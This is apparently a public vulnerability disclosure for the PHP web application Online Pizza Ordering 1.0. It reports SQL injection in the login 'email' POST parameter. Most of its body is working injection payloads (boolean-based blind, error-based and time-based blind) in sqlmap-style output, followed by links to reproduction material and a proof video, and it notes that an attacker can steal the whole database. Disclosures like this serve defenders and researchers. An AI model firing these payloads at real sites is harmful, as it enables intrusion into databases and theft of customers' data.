Authored by nu11secur1ty

Online Pizza Ordering version 1.0 suffers from a remote SQL injection vulnerability.

## Title: Online-Pizza-Ordering-1.0-Multiple-SQLi
## Author: nu11secur1ty
## Date: 03.31.2023
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `email` parameter appears to be vulnerable to SQL injection attacks.
The attacker easily can steal all information from the database, and
it depends on the time he will need to decrypt this information,
he can decrypt and use this information for very malicious purposes.

STATUS: HIGH Vulnerability

[+]Payload:
```mysql
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: [email protected]' and '3479'='3479'
AND 2244=2244 AND 'GqOB'='GqOB&password=b0E!i9g!K9

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: [email protected]' and '3479'='3479' OR
(SELECT 8595 FROM(SELECT COUNT(*),CONCAT(0x716a6a7071,(SELECT
(ELT(8595=8595,1))),0x71716a7071,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'FXYe'='FXYe&password=b0E!i9g!K9

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: [email protected]' and '3479'='3479'
AND (SELECT 3772 FROM (SELECT(SLEEP(7)))xChJ) AND
'pJWv'='pJWv&password=b0E!i9g!K9
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Online-Pizza-Ordering-1.0/SQLi)

## Proof and Exploit:
[href](https://streamable.com/qil6by)

## Time spend:
00:37:00